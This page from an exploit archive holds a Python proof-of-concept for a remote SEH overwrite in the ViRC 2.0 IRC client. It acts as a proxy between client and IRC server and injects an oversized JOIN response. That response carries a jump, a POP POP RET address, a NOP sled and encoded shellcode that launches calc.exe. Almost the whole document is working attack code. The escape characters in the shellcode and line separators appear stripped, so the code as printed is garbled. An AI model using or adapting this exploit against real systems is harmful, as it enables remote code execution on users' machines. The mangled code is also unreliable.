[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ViRC 2.0 (JOIN Response) Remote SEH Overwrite Exploit 0day
# Published : 2007-07-06
# Author : h07
# Previous Title : Chilkat Zip ActiveX Component 12.4 Multiple Insecure Methods Exploit
# Next Title : HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) SaveToFile() Exploit


#!/usr/bin/python
# ViRC 2.0 'JOIN Response' 0day Remote SEH Overwrite PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on Visual IRC 2.0 / 2k SP4 Polish
# Shellcode type: Windows Execute Command (calc.exe)
# How stuff works ? ..
#
# [ViRC] -----> (..JOIN..) -------------> [exploit_tunnel] -----------------------------> [Real IRC server]
# [ViRC] <--- (#channel :AAAAAAA...) <--- [exploit_tunnel] <---- (#channel :nick) <------ [Real IRC server]
#
# Details:
# "#channel :" + "A" * 4116
# 0x41414141  Pointer to next SEH record
# 0x41414141  SE handler
##

from thread import start_new_thread
from struct import pack
from string import find
from string import join
from socket import *

LEN_RECV = 65536

in_addr = '0.0.0.0'        # local address
in_port = 6667             # local port
out_addr = '192.168.0.2'   # address of IRC server
out_port = 6667            # port of IRC server

shellcode = (
"x31xc9x83xe9xdbxd9xeexd9x74x24xf4x5bx81x73x13xd8"
"x22x72xe4x83xebxfcxe2xf4x24xcax34xe4xd8x22xf9xa1"
"xe4xa9x0exe1xa0x23x9dx6fx97x3axf9xbbxf8x23x99x07"
"xf6x6bxf9xd0x53x23x9cxd5x18xbbxdex60x18x56x75x25"
"x12x2fx73x26x33xd6x49xb0xfcx26x07x07x53x7dx56xe5"
"x33x44xf9xe8x93xa9x2dxf8xd9xc9xf9xf8x53x23x99x6d"
"x84x06x76x27xe9xe2x16x6fx98x12xf7x24xa0x2dxf9xa4"
"xd4xa9x02xf8x75xa9x1axecx31x29x72xe4xd8xa9x32xd0"
"xddx5ex72xe4xd8xa9x1axd8x87x13x84x84x8exc9x7fx8c"
"x28xa8x76xbbxb0xbax8cx6exd6x75x8dx03x30xccx8dx1b"
"x27x41x13x88xbbx0cx17x9cxbdx22x72xe4")

NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x7CEA41D3       # POP POP RET (SHELL32.DLL / 2k SP4 Polish)

buf = "A" * 4108
buf += pack("<L", NEXT_SEH_RECORD)
buf += pack("<L", SE_HANDLER)
buf += "x90" * 32
buf += shellcode

class new_plug_in:
   def __init__(self):
       self.sock = 0
       self.send_to = 1
       self.active = 1
       self.plugins = []
       self.description = ''

   def CloseTunnel(self):
       if(self.active == 1):
           self.active = 0
           self.sock.shutdown(1)
           self.sock.close()
           self.plugins[self.send_to].active = 0
           self.plugins[self.send_to].sock.shutdown(1)
           self.plugins[self.send_to].sock.close()

   def Send(self, data):
       try:
           self.sock.send(data)
       except:
           self.CloseTunnel()

   def Recv(self):
       while(1):
           try:
               data = self.sock.recv(LEN_RECV)
               if(len(data) == 0):
                   self.CloseTunnel()
                   return
               print self.description
               print data
               if(self.description == '[SERVER]'):
                   if(find(data, 'JOIN') != -1):
                       data = build_evil_buf(data, buf)
                       if(data == -1):
                           print "Error: Malformed IRC response"
                           self.CloseTunnel()
               self.plugins[self.send_to].Send(data)
           except:
               self.CloseTunnel()
               return

   def Run(self):
       if(len(self.plugins) == 0):
           self.plugins.append(self)
           try:
               s = socket(AF_INET, SOCK_STREAM)
               s.connect((out_addr, out_port))
           except:
               s.close()
               self.sock.close()
               return
           tunnel_out = new_plug_in()
           tunnel_out.sock = s
           tunnel_out.send_to = 0
           self.plugins.append(tunnel_out)
           self.description = '[CLIENT]'
           tunnel_out.description = '[SERVER]'
           tunnel_out.plugins = self.plugins
           tunnel_out.Run()
       start_new_thread(self.Recv, ())

def build_evil_buf(data, buf):
   try:
       lines = data.split('rn')
       tmp = lines[1].split('x20:')
       tmp[1] = buf
       lines[1] = join(tmp, "x20:")
       return join(lines, "rn")
   except:
       return -1

def AcceptConnect(cl, addr):
   print "Connection accepted from: %s" % (addr[0])
   tunnel_in = new_plug_in()
   tunnel_in.sock = cl
   tunnel_in.Run()

def InitServer(bind_addr, bind_port):
   s = socket(AF_INET, SOCK_STREAM)
   s.bind((bind_addr, bind_port))
   print "Listening on %s:%d..." % (bind_addr, bind_port)
   s.listen(1)
   while(1):
       cl, addr = s.accept()
       start_new_thread(AcceptConnect, (cl, addr,))
   s.close()

InitServer(in_addr, in_port)

# EoF

# www.Syue.com [2007-07-06]